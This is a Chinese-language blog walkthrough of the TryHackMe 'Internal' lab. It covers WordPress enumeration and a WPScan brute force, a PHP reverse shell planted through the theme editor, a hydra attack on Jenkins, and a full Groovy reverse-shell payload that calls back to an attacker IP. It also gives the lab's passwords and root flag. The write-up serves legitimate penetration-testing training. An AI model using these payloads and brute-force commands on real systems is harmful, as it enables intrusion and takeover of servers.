【THM】Internal-练习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/internal

通过学习相关知识点:针对实验靶机完成渗透测试挑战。

image

实验简介

你已被分配给一个客户,该客户希望在一个环境中进行渗透测试,该环境将在三周内发布到生产环境中。

工作范围:

客户要求渗透测试工程师对目标虚拟环境进行外部、Web 应用程序和内部评估,要求工程师提交有关评估的最少信息,客户希望渗透测试人员从恶意行为者的角度进行渗透测试(黑盒渗透测试),另外还要求渗透测试人员提交以下两个标志(未提供具体位置)以作为渗透成果的证明:

  • User.txt
  • Root.txt

此外,客户提供了以下补充说明(请自行尝试):

  • 确保修改主机文件以反映主机名internal.thm
  • 本次活动允许使用任何工具或技术
  • 找到并记录所有发现的漏洞。
  • 将发现的标志提交到仪表板(dashboard)。
  • 只有分配给你的机器的 IP 地址在渗透测试的资产范围内。
  • 查找并报告所有漏洞(获得root权限的方式不止一个)

答题

启动本地机器(使用KAIL作为本地攻击机),连接TryHackMe平台所提供的openvpn,在实验房间页面点击“Start Machine”以获取靶机IP。

修改主机文件

在获得靶机的ip之后,我们首先修改一下本地机上的host文件。

sudo nano /etc/hosts
#10.10.105.198     internal.thm

image

编辑主机文件的原因 1:你可能已经知道,如果你向任何主机名发出任何类型的请求,对应域名将被转换为 IP 地址,在 TCP/IP 中,只传输 IP 地址而不传输主机名。 在 HTTP(S) 等服务中,你可以在“Host”HTTP 标头中传输主机名,如果你通过带有 IP 地址的 URL 来访问网站,Host 标头将包含 IP 地址,如果你访问其中包含主机名的 URL,主机标头将包含该主机名,它取决于 Web 服务器如何处理基于该标头的请求。 在 TLS 握手中,你还可以在“server_name”扩展名中发送主机名。 因此,如果底层后端服务仅响应主机名,则最简单的从本地发送主机名的解决方案是修改你的主机文件,然后你使用的软件(例如web浏览器)将完成剩下的解析工作。

编辑主机文件的原因2:一个IP地址可以通过虚拟主机(vhost)技术在同一个web服务器上托管多个网站,如果目标服务器有多个网站,那么我们就很难弄清楚哪个是哪个。 所以通过在主机文件中指向具体的DNS,实际上是在表明你的应用程序仅针对特定域。

编辑主机文件的原因3:如果目标有子域怎么办? 我们如何在没有指定主域的情况下枚举它们? 在枚举可能存在的域时,你必须预料到目标可能存在子域,因此你需要知道主域本身,然后就可以通过已知的 IP 地址枚举子域。

使用nmap扫描目标端口

nmap -F -sV -Pn internal.thm
#标志:-F(快速扫描,前 100 个端口)、-sV(服务版本扫描)、-Pn(无 ping 扫描)。

image

如果我们访问靶机的Web 服务器(目标的80端口),那么我们会得到以下结果,它只是在 Ubuntu 上运行的 Apache 的默认页面。

image

使用gobuster扫描目标目录

gobuster dir -u http://internal.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error

image

从上面的过程中可以看出,它已经找到了一个目录 /blog。如果我们访问 http://internal.thm/blog ,那么我们会看到一个博客,其中有一篇名为“Hello World”的帖子。

image

现在很明显,这是使用 WordPress 应用程序设计的。我们有一个名为“ admin ”的用户,他发布了这个博客。

image

让我们找出这个 WordPress 应用程序的版本。我们可以在没有任何工具的情况下(被动)做到这一点:右键单击博客默认页面,然后单击“显示页面源”,在目标站点的源代码和某些隐藏页面上,你也许能够找到版本号,为此,请按ctrl + f 并键入 ver进行查找(ver 是 version 的缩写)。

image

image

如你所见,wordpress 的版本号为 5.4.2。如果我们对 exploit-db 进行快速版本漏洞检查,会发现没有对应的可用exp;所以我们继续查看前述blog页面,我们可以在前述博客页面的最下方看到一个登录选项,点击该选项,它会将当前页面重定向到 wordpress 的登录页面。

image

image

我们已经访问到登陆页面( http://internal.thm/blog/wp-login.php ),但是我们暂时还不知道有效的用户名和密码,我们可以通过不同的技术来尝试枚举有效的用户名。

WordPress 用户信息枚举

技巧 1:查看博客上的帖子相关的用户名

image

技术 2:在默认页面中,你可以尝试通过遍历用户 ID 并将它们附加到站点的URL后面来找到站点的用户,例如在url后面拼接 /?author=1,然后修改为 2 、3 等。

访问http://internal.thm/blog/?author=1 会自动跳转至http://internal.thm/blog/index.php/author/admin/

访问http://internal.thm/blog/?author=2 会提示相关页面无法找到

image

image

技术 3:通过猜测枚举用户名:在登录框的用户名栏中输入“admin”,然后输入随机值为密码并点击登录按钮,我们能够得到一个错误提示,这个错误提示能够提供一些信息--“用户admin密码不正确”,这意味着确实有一个名为“admin”的有效用户(尝试使用一些其他用户名登录,相关的错误提示为“用户名未知”)。

image

image

技巧 4:使用WPscan应用程序:WPScan 是一款免费的、非商业用途的黑盒 WordPress 安全扫描程序,专为安全专业人员和博客维护人员编写,该应用程序可以用于测试 WordPress 网站的安全性。

wpscan --url http://internal.thm/blog -e u
#enumerate username (-e u)

image

image

查看扫描结果,主要关注站点正在使用的过时主题、站点相关的有效用户名。

过时主题的相关页面: http://internal.thm/blog/wp-content/themes/twentyseventeen/

有效用户名:admin

WPScan 还可以用于暴力破解WordPress站点的用户名和密码,这是一种攻击性技术,可能会在目标服务器端生成大量的日志和事件。由于这是在实验环境下,我们可以不需要担心日志痕迹相关的问题。根据之前的枚举结果,我们已经知道有效用户名,所以我们为wpscan提供参数“ admin ”,而wpscan的密码部分参数我们选择使用“ rockyou.txt ”作为密码攻击字典。

wpscan --url http://internal.thm/blog/wp-login.php --usernames admin --passwords /usr/share/wordlists/rockyou.txt

image

现在我们有了用于目标 WordPress 登录页面的用户名和密码(admin:my2boys)。

获取目标初始shell

由上一小节可知有效的用户名和密码(admin:my2boys),所以我们可以通过目标 WordPress 登录页面成功进入后台(internal.thm/blog/wp-admin/),然后我们根据之前的WPScan扫描结果-目标WordPress站点使用的特定主题为 twentyseventeen ,我们可以使用主题编辑器访问它,在管理员后台页面中转到Appearance并单击“theme editor”即可。

image

image

在主题编辑器页面下:我们可以看到有一些主题文件,这能够让我们更新主题,同时还有一些 PHP 文件,我们也能进行编辑修改。

image

我们尝试将主题编辑器页面的404.php文件的内容替换为php反向shell文件的内容(注意填充攻击机ip和端口号)并单击“更新文件”,这里使用的php反向shell文件为php-reverse-shell,该文件是KALI机自带的php反向shell文件。

image

在本地机器(Kali Linux)上设置一个监听器来接收来自目标机器的传入连接,我们将使用 NetCat (nc)设置监听器。

Netcat 是一种计算机网络实用程序,用于使用 TCP 或 UDP 读取和写入网络连接。该命令旨在成为一个可靠的后端,可以直接使用或由其他程序和脚本轻松驱动。-维基百科

nc -lvnp 1234
#-l(侦听模式,用于入站连接)
#-v(详细)
#-n(抑制域名/端口解析)直接使用IP地址,而不经过域名服务器
#-p 为远程连接指定本地端口

image

接下来我们需要加载刚才那个已经修改好的 404.php 文件,为此,我们首先需要找到该文件的位置。

WordPress站点的大多数主题位于 /wp-content/ 目录下,主题相关内容则位于 /wp-content/themes/ 目录下;根据我们之前所修改文件对应的主题名称,可知404.php文件位置为:/wp-content/themes/twentyseventeen/404.php 。(由之前的WPScan扫描结果也可知过时的主题相关页面url)

我们可以使用 http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php 通过浏览器 url 直接访问 404.php文件。

image

访问完404.php文件之后,回到本地机刚才设置监听器的终端界面,可以看到--我们成功获得了目标的初始shell。

image

通过如上图所示的探索,我们得知一个用户名aubreanna,但是我们现在的权限还不足以访问该用户目录下的文件。

提升到user权限

我们已经获得目标机器的初始访问权限,但该权限还不足以让我们检索user.txt 和root.txt;因此,我们可以尝试 通过发现并利用目标机存在的漏洞/错误配置获得更高级别的访问权限。

我们可以将 linpeas.sh 文件上传到目标机器,有很多方法可以做到这一点:我们先在本地机上使用Python命令启动一个http服务器,然后使用“wget”命令将本地机的特定文件下载到目标机的临时文件夹下(/tmp);上传成功之后--我们在目标机上执行linpeas.sh脚本,该脚本将针对靶机枚举一些可以利用的提权向量。

在本实验环境下,使用linpeas.sh工具得到的相关信息并不足以完成提权操作。——此处直接跳过linpeas.sh脚本的上传和使用即可。

我们继续使用刚才的初始shell界面进行探索,尝试进一步列举文件和目录信息,最终在/opt目录下发现了一个文件wp-save.txt--内容包含了用户名aubreanna及其登录凭据。

which python #验证目标机有无Python环境
python -c "import pty ; pty.spawn('/bin/bash')" #利用Python环境将当前shell切换为一个更稳定的shell

image

登录凭据—— aubreanna:bubb13guM!@#123

利用获取到的登录凭据切换用户账户为aubreanna,并尝试检索user.txt。

image

THM

image

提升到root权限

在上一小节中我们成功检索到了user.txt文件,在user.txt文件的同级目录下我们还可以看到一个特殊文件jenkins.txt,这表明目标网站上可能还有jenkins服务,通过查看jenkins.txt内容--我们可以发现目标机的172.17.0.2:8080上开启了jenkins服务(该服务在目标机的docker环境下)。

image

由于目标机器的端口8080只能通过目标机的本地进行访问,所以我们需要设置SSH端口转发,从而将目标机器8080端口上的流量重定向到我们本地攻击机上的地址和端口localhost:4567,在攻击机上的终端界面构造如下命令(以下命令在输入密码验证成功后即可实现端口转发):

ssh -f -N -L 4567:172.17.0.2:8080 aubreanna@internal.thm
#根据前述结果,登录密码为:bubb13guM!@#123
#ssh端口转发(本地网卡地址0.0.0.0可省略):HostB$ ssh -L 0.0.0.0:PortB:HostC:PortC user@HostC
#参数说明
#-C:压缩数据
#-f :后台认证用户/密码,通常和-N连用,不用登录到远程主机。
#-N :不执行脚本或命令,通常与-f连用。
#-g :在-L/-R/-D参数中,允许远程主机连接到建立转发的端口,如果不加这个参数,只允许本地主机建立连接。
#-L : 本地隧道,本地端口:目标IP:目标端口
#-D : 动态端口转发
#-R : 远程隧道
#-T :不分配 TTY 只做代理用
#-q :安静模式,不输出 错误/警告 信息

image

完成端口转发之后:在本地机的浏览器中访问localhost:4567,可以看到一个jenkins后台登录页面。

image

我们接下来对该jenkins后台登录页面进行暴力破解,在此我们使用hydra工具,我们还需要获取关于登录框的请求表单数据来为hydra相关命令构造参数。

hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 4567 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password"

#"/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:F=Invalid username or password"

image

admin:spongebob

通过暴力破解获取到登录密码后,我们可以登录到jenkins后台,然后利用后台中的脚本控制面板写入反向shell脚本内容,完成脚本内容写入后--我们就可以尝试执行相关的反向shell脚本(注意先在攻击机上设置一个Netcat监听器),即可获得一个shell界面--身份为jenkins。

Groovy payload:

String host="10.13.16.58";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

image

image

使用jenkins shell检索敏感文件——获得root用户的登录凭据。

#find / -name *.txt
cd /opt
cat note.txt

image

root:tr0ub13guM!@#123

使用ssh访问root用户并检索root.txt文件内容。

ssh root@10.10.105.198
#密码为:tr0ub13guM!@#123

image

THM{d0ck3r_d3str0y3r} 。

image

posted @ 2023-02-23 19:40  Hekeatsll  阅读(480)  评论(0编辑  收藏  举报